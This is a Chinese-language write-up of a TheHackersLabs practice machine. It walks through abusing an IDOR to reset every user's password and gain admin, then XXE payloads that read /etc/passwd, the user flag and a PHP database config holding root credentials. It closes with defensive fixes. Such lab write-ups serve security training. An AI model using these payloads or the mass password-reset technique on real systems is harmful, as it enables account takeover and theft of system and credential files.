地址: https://labs.thehackerslabs.com/machine/106

过程

nmap 扫描,22,80
访问 192.168.0.9 web,跳转 http://lacasadeljamon.thl/,修改 /ect/hosts 解析成功

目录扫描

login.php register.php db_config.php 比较敏感

先随便注册一个 admin 账户,密码 admin

进入后,有修改密码功能

修改密码,抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /settings.php?user_id=63 HTTP/1.1

Host: lacasadeljamon.thl

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 69

Origin: http://lacasadeljamon.thl

Connection: keep-alive

Referer: http://lacasadeljamon.thl/settings.php?user_id=63

Cookie: PHPSESSID=7pth5dnm7uh6v98cnu77005udl; id=63

Upgrade-Insecure-Requests: 1

Priority: u=0, i



new_password=admin&confirm_password=admin&user_id=63&change_password=

可以看到是根据 user id 来进行用户信息确认的

爆破 user id 1-100,所有人密码全部修改一遍

同时看到 profile.php 显示个人信息,我当前的 role 是 user

而 profile.php 的信息查询也是基于 id 的,爆破,正则过滤找到 role:admin
![[Pasted image 20250725041136.png]]

(这里的正则匹配要 bp 专业版也可以使用,我是手动看的)

找到 admin 的包

1
2
3
4
5
6
7
<div class="profile-container">
<h2>Perfil de usuario</h2>
<p><strong>Nombre de usuario:</strong> admin_user</p>
<p><strong>Nombre completo:</strong> Admin User</p>
<p><strong>Compañía:</strong> AdminCompany</p>
<p><strong>Correo electrónico:</strong> admin@example.com</p>
<p><strong>Rol:</strong> admin</p>

拿到 admin_user:admin

进入后台界面,可以看到多了添加事件的功能,添加的事件可以在 /calendar.php 里返回回显

1
2
3
4
5
6
7
Evento Añadido

Fecha: 2025-07-11

Título: a

Descripción: a

那么这一块肯定有 xss,不过我们的目的是通过这个回显点进行数据外带或者rce

抓包看请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /calendar.php HTTP/1.1

Host: lacasadeljamon.thl

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Origin: http://lacasadeljamon.thl

Connection: keep-alive

Referer: http://lacasadeljamon.thl/calendar.php

Cookie: PHPSESSID=7pth5dnm7uh6v98cnu77005udl; id=51

Upgrade-Insecure-Requests: 1

Priority: u=0, i



fecha=2025-07-17&titulo=a&descripcion=a
1
<h3>Evento Añadido</h3><p><strong>Fecha:</strong> 2025-07-17</p><p><strong>Título:</strong> a</p><p><strong>Descripción:</strong> a</p>

可以看到输入的字段都在响应中被解析并输出

如果添加不存在的字段呢

whoami:hacker

回显里并没有显示,说明其只接受和解释原字段。

既然这里会进行格式化解析并回显,尝试传入 xml 数据进行 xxe

Content-Type: application/xml 修改 Content-Type 然后发包显示 Error al procesar XML.

那么服务器就可以解析 xml 数据

注意,这里是在原参数的基础上进行修改 xml 数据才能保证参数被解析并回显在正确位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Content-Type: application/xml

<!DOCTYPE root [

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<root>

<fecha>2025-07-17</fecha>

<título></título>

<descripcion>&file;</descripcion>

</root>

得到 /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
jabugo:x:1001:1001::/home/jabugo:/bin/bash

user flag
<!ENTITY file SYSTEM "file:///home/jabugo/user.txt">
1831d1147f148c49c09649c6e8cca1d0

之前目录扫描时有一个 db_config.php,浏览器访问后无法查看源码,用 xxe 读取出来

<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=db_config.php">

base64 解密得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$servername = "localhost";
$username = "root";
$password = "Orochimaru777###";
$dbname = "foodstore";

// Crear la conexión
$conn = new mysqli($servername, $username, $password, $dbname);

// Comprobar si la conexión fue exitosa
if ($conn->connect_error) {
die("Conexión fallida: " . $conn->connect_error);
}
?>

拿到 root 凭证

root:Orochimaru777###

获取 root flag

1
2
root@Thehackerslabs-Lacasadeljamon:~# cat root.txt 
3f3fa2341600d9f92fea3cdb2aab5fa4

flag

1831d1147f148c49c09649c6e8cca1d0
3f3fa2341600d9f92fea3cdb2aab5fa4

渗透测试过程简要总结

修改 /etc/hosts ,更新 ip 解析到域名
手工测试 web 界面,注册登录后,修改密码处存在水平越权修改他人密码
用户信息基于 id 查询,可爆破
添加日程功能回显处存在 xxe
数据库信息泄露

  1. 信息收集

    • 使用 nmap 扫描发现开放 22 (SSH) 和 80 (HTTP) 端口
    • 通过修改 /etc/hosts 解析域名 lacasadeljamon.thl
  2. Web应用测试

    • 发现敏感文件 login.php, register.php, db_config.php
    • 注册普通用户并利用 IDOR (Insecure Direct Object Reference) 漏洞:
      • 爆破 user_id 修改所有用户密码
      • 通过 profile.php 找到管理员账户 (admin_user:admin)
  3. 权限提升

    • 管理员后台发现事件添加功能
    • 利用 XXE (XML External Entity) 漏洞:
      • 读取 /etc/passwd 获取系统用户信息
      • 读取 db_config.php 获取数据库凭证 (root:Orochimaru777###)
    • 通过 SSH 使用获取的 root 凭证登录系统
  4. 获取 Flag

    • 用户 Flag: 1831d1147f148c49c09649c6e8cca1d0
    • Root Flag: 3f3fa2341600d9f92fea3cdb2aab5fa4

防御措施建议

1. 修复 IDOR 漏洞

  • 实施访问控制:校验当前用户是否有权修改目标用户数据
  • 使用不可预测的标识符:如 UUID 替代连续数字 ID
  • 服务器端校验:始终在服务端验证用户权限

2. 防止 XXE 攻击

  • 禁用外部实体

    libxml_disable_entity_loader(true);

  • 使用安全的 XML 解析器:如 defusedxml (Python)

  • 输入验证:拒绝包含 <!DOCTYPE<!ENTITY 的 XML

3. 数据库安全

  • 使用最小权限原则:创建专用数据库用户,避免使用 root
  • 加密敏感配置:如使用环境变量存储数据库凭证
  • 定期轮换凭证:特别是发现泄露后立即更换

4. 其他加固措施

  • 禁用目录列表:防止 db_config.php 等文件被枚举
  • 实施 WAF:拦截 XXE、SQLi 等常见攻击
  • 日志监控:记录异常访问尝试(如频繁修改密码请求)

5. 安全开发实践

  • 代码审计:定期检查代码中的安全漏洞
  • 渗透测试:上线前进行专业安全测试
  • 安全意识培训:提升开发人员的安全编码能力